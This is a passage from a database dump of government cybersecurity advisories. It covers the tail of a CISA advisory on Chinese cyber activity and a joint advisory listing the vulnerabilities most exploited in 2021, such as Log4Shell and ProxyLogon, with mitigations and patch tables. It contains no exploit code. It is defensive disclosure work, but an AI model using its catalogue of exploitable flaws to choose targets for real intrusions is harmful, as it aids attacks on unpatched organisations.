capabilities to automatically detect and prevent malicious files from executing. Use network intrusion detection and prevention systems to identify and prevent commonly employed adversarial malware and limit nefarious data transfers.\n\n### Contact Information\n\nCISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at:\n\n * 1-888-282-0870 (From outside the United States: +1-703-235-8832)\n * [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>) (UNCLASS)\n\nCISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA homepage at <http://www.us-cert.cisa.gov/>.\n\n### References\n\n[[1] White House Publication: How China\u2019s Economic Aggression Threatens the Technologies and Intellectual Property of the United States and the World ](<https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf>)\n\n[[2] Congressional Research Services: 'Made in China 2025' Industrial Policies: Issues for Congress ](<https://fas.org/sgp/crs/row/IF10964.pdf>)\n\n[[3] Council on Foreign Relations: Is \u2018Made in China 2025\u2019 a Threat to Global Trade ](<https://www.cfr.org/backgrounder/made-china-2025-threat-global-trade>)\n\n[[4] Mandiant: APT1 Exposing One of China\u2019s Cyber Espionage Units ](<https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf>)\n\n[[5] U.S. Department of Justice (DOJ) Press Release: U.S. Charges Five Chinese Military Hackers for Cyber Espionage Against U.S. Corporations and a Labor Organization for Commercial Advantage](<https://www.justice.gov/opa/pr/us-charges-five-chinese-military-hackers-cyber-espionage-against-us-corporations-and-labor>)\n\n[[6] CISA Alert TA17-117A: Intrusions Affecting Multiple Victims Across Multiple Sectors](<https://us-cert.cisa.gov/ncas/alerts/TA17-117A>)\n\n[[7] DOJ Press Release: Deputy Attorney General Rod J. Rodenstein Announces Charges Against Chinese Hackers](<https://www.justice.gov/opa/speech/deputy-attorney-general-rod-j-rosenstein-announces-charges-against-chinese-hackers>)\n\n[[8] CISA Awareness Briefing: Chinese Cyber Activity Targeting Managed Service Providers](<https://us-cert.cisa.gov/sites/default/files/publications/Chinese-Cyber-Activity-Targeting-Managed-Service-Providers.pdf>)\n\n[[9] DOJ Press Release: Deputy Attorney General William P. Barr Announces Indictment of Four Members of China\u2019s Military for Hacking into Equifax](<https://www.justice.gov/opa/speech/attorney-general-william-p-barr-announces-indictment-four-members-china-s-military>)\n\n[[10] CISA Press Release: FBI and CISA Warn Against Chinese Targeting of COVID-19 Research Organizations ](<https://www.cisa.gov/news/2020/05/13/fbi-and-cisa-warn-against-chinese-targeting-covid-19-research-organizations>)\n\n[[11] CISA Alert AA20-126A: APT Groups Target Healthcare and Essential Services](<https://us-cert.cisa.gov/ncas/alerts/AA20126A>)\n\n[[12] CISA Current Activity (CA): Chinese Malicious Cyber Activity](<https://us-cert.cisa.gov/ncas/current-activity/2020/08/03/chinese-malicious-cyber-activity>)\n\n[[13] FireEye Advanced Persistent Threat Groups](<https://www.fireeye.com/current-threats/apt-groups.html>)\n\n[[14] MITRE ATT&CK: APT3](<https://attack.mitre.org/groups/G0022/>)\n\n[[15] MITRE ATT&CK: APT19](<https://attack.mitre.org/groups/G0073/>)\n\n[[16] MITRE ATT&CK: APT41](<https://attack.mitre.org/groups/G0096/>)\n\n[[17] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[18] CISA Alert AA20-020A: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP](<https://us-cert.cisa.gov/ncas/alerts/aa20-020a>)\n\n[[19] CISA CA: F5 Releases Security Advisory for BIP-IP TMUI RCE Vulnerability, CVE-2020-5902](<https://us-cert.cisa.gov/ncas/current-activity/2020/07/04/f5-releases-security-advisory-big-ip-tmui-rce-vulnerability-cve>)\n\n[[20] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[21] NSA Advisory: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)\n\n### Revisions\n\nOctober 1, 2020: Initial Version|October 20, 2020: Recommended Actions Section Updated\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-20T12:00:00", "type": "ics", "title": "Potential for China Cyber Response to Heightened U.S.\u2013China Tensions", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0158", "CVE-2015-4852", "CVE-2017-6327", "CVE-2017-6328", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-16278", "CVE-2019-1652", "CVE-2019-1653", "CVE-2019-16920", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-1040", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-6789", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-20T12:00:00", "id": "AA20-275A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-275a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:27:11", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency ([CISA](<https://www.cisa.gov/>)), National Security Agency ([NSA](<https://www.nsa.gov/Cybersecurity/>)), Federal Bureau of Investigation ([FBI](<https://www.fbi.gov/investigate/cyber>)), Australian Cyber Security Centre ([ACSC](<https://www.cyber.gov.au/>)), Canadian Centre for Cyber Security ([CCCS](<https://www.cyber.gc.ca/en/>)), New Zealand National Cyber Security Centre ([NZ NCSC](<https://www.gcsb.govt.nz/>)), and United Kingdom\u2019s National Cyber Security Centre ([NCSC-UK](<https://www.ncsc.gov.uk/>)). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nU.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess, in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. \n\nThe cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors.\n\nDownload the Joint Cybersecurity Advisory: 2021 top Routinely Exploited Vulnerabilities (pdf, 777kb).\n\n### Technical Details\n\n#### **Key Findings**\n\nGlobally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability\u2019s disclosure, likely facilitating exploitation by a broader range of malicious actors.\n\nTo a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities\u2014some of which were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor.\n\n#### **Top 15 Routinely Exploited Vulnerabilities**\n\nTable 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include:\n\n * **CVE-2021-44228.** This vulnerability, known as Log4Shell, affects Apache\u2019s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity.[1] Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch.\n * **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065.** These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., \u201cvulnerability chaining\u201d) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.\n * **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207.** These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft\u2019s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. \n * **CVE-2021-26084.** This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.\n\nThree of the top 15 routinely exploited vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors.\n\n_Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVulnerability Name\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|---|--- \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nLog4Shell\n\n| \n\nApache Log4j\n\n| \n\nRemote code execution (RCE) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\n| \n\nZoho ManageEngine AD SelfService Plus\n\n| \n\nRCE \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nElevation of privilege \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nSecurity feature bypass \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\n| \n\nAtlassian Confluence Server and Data Center\n\n| \n\nArbitrary code execution \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\n| \n\nVMware vSphere Client\n\n| \n\nRCE \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nZeroLogon\n\n| \n\nMicrosoft Netlogon Remote Protocol (MS-NRPC)\n\n| \n\nElevation of privilege \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nArbitrary file reading \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\n| \n\nFortinet FortiOS and FortiProxy\n\n| \n\nPath traversal \n \n#### **Additional Routinely Exploited Vulnerabilities**\n\nIn addition to the 15 vulnerabilities listed in table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in table 2, that were also routinely exploited by malicious cyber actors in 2021. \n\nThese vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882.\n\n_Table 2: Additional Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore XP\n\n| \n\nRCE \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock OpenAM server\n\n| \n\nRCE \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nAccellion FTA\n\n| \n\nServer-side request forgery \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nAccellion FTA\n\n| \n\nSQL injection \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware vCenter Server\n\n| \n\nRCE \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall Secure Mobile Access (SMA)\n\n| \n\nRCE \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft MSHTML\n\n| \n\nRCE \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft Windows Print Spooler\n\n| \n\nRCE \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nPrivilege escalation \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall SSLVPN SMA100\n\n| \n\nImproper SQL command neutralization, allowing for credential access \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nWindows Print Spooler\n\n| \n\nRCE \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP QTS and QuTS hero\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix Application Delivery Controller (ADC) and Gateway\n\n| \n\nArbitrary code execution \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik UI for ASP.NET AJAX\n\n| \n\nCode execution \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco IOS Software and IOS XE Software\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n### Mitigations\n\n#### **Vulnerability and Configuration Management**\n\n * Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. \n * If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.\n * Use a centralized patch management system.\n * Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021.\n * Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications\u2014such as webmail, file storage, file sharing, and chat and other employee collaboration tools\u2014for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. For more information and guidance, see the following resources. \n * CISA Insights [Risk Considerations for Managed Service Provider Customers](<https://cisa.gov/sites/default/files/publications/cisa-insights_risk-considerations-for-msp-customers_508.pdf>)\n * CISA Insights [Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses](<https://cisa.gov/sites/default/files/publications/CISA Insights_Guidance-for-MSPs-and-Small-and-Mid-sized-Businesses_S508C.pdf>)\n * ACSC advice on [How to Manage Your Security When Engaging a Managed Service Provider](<https://www.cyber.gov.au/acsc/view-all-content/publications/how-manage-your-security-when-engaging-managed-service-provider>)\n\n#### **Identity and Access Management**\n\n * Enforce multifactor authentication (MFA) for all users, without exception.\n * Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. \n * Regularly review, validate, or remove privileged accounts (annually at a minimum).\n * Configure access control under the concept of least privilege principle. \n * Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges).\n\n**Note:** see [CISA Capacity Enhancement Guide \u2013 Implementing Strong Authentication](<https://cisa.gov/sites/default/files/publications/CISA_CEG_Implementing_Strong_Authentication_508_1.pdf>) and ACSC guidance on [Implementing Multi-Factor Authentication](<https://www.cyber.gov.au/acsc/view-all-content/publications/implementing-multi-factor-authentication>) for more information on hardening authentication systems.\n\n#### **Protective Controls and Architecture **\n\n * Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. \n * Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.\n * Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.\n * Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).\n * Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. \n * Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware. \n * Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner etc., are reporting the same number of assets.\n * Monitor the environment for potentially unwanted programs.\n * Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business critical functions.\n * Implement application allowlisting. \n\n### **Resources**\n\n * For the top vulnerabilities exploited in 2020, see joint CSA [Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>)\n * For the top exploited vulnerabilities 2016 through 2019, see joint CSA [Top 10 Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa20-133a>). \n * See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA.\n\n### **Disclaimer**\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.\n\n### **Purpose **\n\nThis document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.\n\n### **References**\n\n[1] [CISA\u2019s Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\n### **Appendix: Patch Information and Additional Resources for Top Exploited Vulnerabilities**\n\nCVE\n\n| \n\nVendor\n\n| \n\nAffected Products\n\n| \n\nPatch Information\n\n| \n\nResources \n \n---|---|---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore\n\n| \n\nSitecore XP 7.5.0 - Sitecore XP 7.5.2\n\nSitecore XP 8.0.0 - Sitecore XP 8.2.7\n\n| \n\n[Sitecore Security Bulletin SC2021-003-499266](<https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776#HistoryOfUpdates>)\n\n| \n\nACSC Alert [Active Exploitation of vulnerable Sitecore Experience Platform Content Management Systems](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerable-sitecore-experience-platform-content-management-systems>) \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock \n\n| \n\nAccess Management (AM) 5.x, 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x and 6.5.3\n\nOpenAM 9.x, 10.x, 11.x, 12.x and 13.x\n\n| \n\n[ForgeRock AM Security Advisory #202104](<https://backstage.forgerock.com/knowledge/kb/article/a47894244>)\n\n| \n\nACSC Advisory [Active exploitation of ForgeRock Access Manager / OpenAM servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-004-active-exploitation-forgerock-access-manager-openam-servers>)\n\nCCCS [ForgeRock Security Advisory](<https://www.cyber.gc.ca/en/alerts/forgerock-security-advisory>) \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion \n\n| \n\nFTA 9_12_370 and earlier\n\n| \n\n[Accellion Press Release: Update to Recent FTA Security Incident](<https://www.accellion.com/company/press-releases/accellion-provides-update-to-recent-fta-security-incident/>)\n\n| \n\nJoint CSA [Exploitation of Accellion File Transfer Appliance](<https://www.cisa.gov/uscert/ncas/alerts/aa21-055a>)\n\nACSC Alert [Potential Accellion File Transfer Appliance compromise](<https://www.cyber.gov.au/acsc/view-all-content/alerts/potential-accellion-file-transfer-appliance-compromise>) \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nFTA 9_12_411 and earlier \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nFTA versions 9_12_411 and earlier \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nFTA 9_12_370 and earlier\n\n| \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware \n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0010](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>)\n\n| \n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-41>) \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\nVMware\n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0002](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>)\n\n| \n\nACSC Alert [VMware vCenter Server plugin remote code execution vulnerability](<https://www.cyber.gov.au/acsc/view-all-content/alerts/vmware-vcenter-server-plugin-remote-code-execution-vulnerability-cve-2021-21972>)\n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-35>)\n\nCCCS Alert [APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall\n\n| \n\nSMA 100 Series (SMA 200, 210, 400, 410, 500v), versions 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0026](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in SonicWall SMA 100 series appliances](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-sonicwall-sma-100-series-appliances>)\n\nCCCS [SonicWall Security Advisory](<https://www.cyber.gc.ca/en/alerts/sonicwall-security-advisory-4>) \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nApache\n\n| \n\nLog4j, all versions from 2.0-beta9 to 2.14.1\n\nFor other affected vendors and products, see [CISA's GitHub repository](<https://github.com/cisagov/log4j-affected-db>).\n\n| \n\n[Log4j: Apache Log4j Security Vulnerabilities](<https://logging.apache.org/log4j/2.x/security.html>)\n\nFor additional information, see joint CSA: [Mitigating Log4Shell and Other Log4j-Related Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-356a>)\n\n| \n\nCISA webpage [Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\nCCCS [Active exploitation of Apache Log4j vulnerability - Update 7](<https://www.cyber.gc.ca/en/alerts/active-exploitation-apache-log4j-vulnerability>) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\nZoho ManageEngine \n\n| \n\nADSelfService Plus version 6113 and prior\n\n| \n\n[Zoho ManageEngine: ADSelfService Plus 6114 Security Fix Release ](<https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-6114-security-fix-release>)\n\n| \n\nJoint CSA [APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus](<https://www.cisa.gov/uscert/ncas/alerts/aa21-259a>)\n\nCCCS [Zoho Security Advisory](<https://www.cyber.gc.ca/en/alerts/zoho-security-advisory>) \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n\n[Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>)\n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 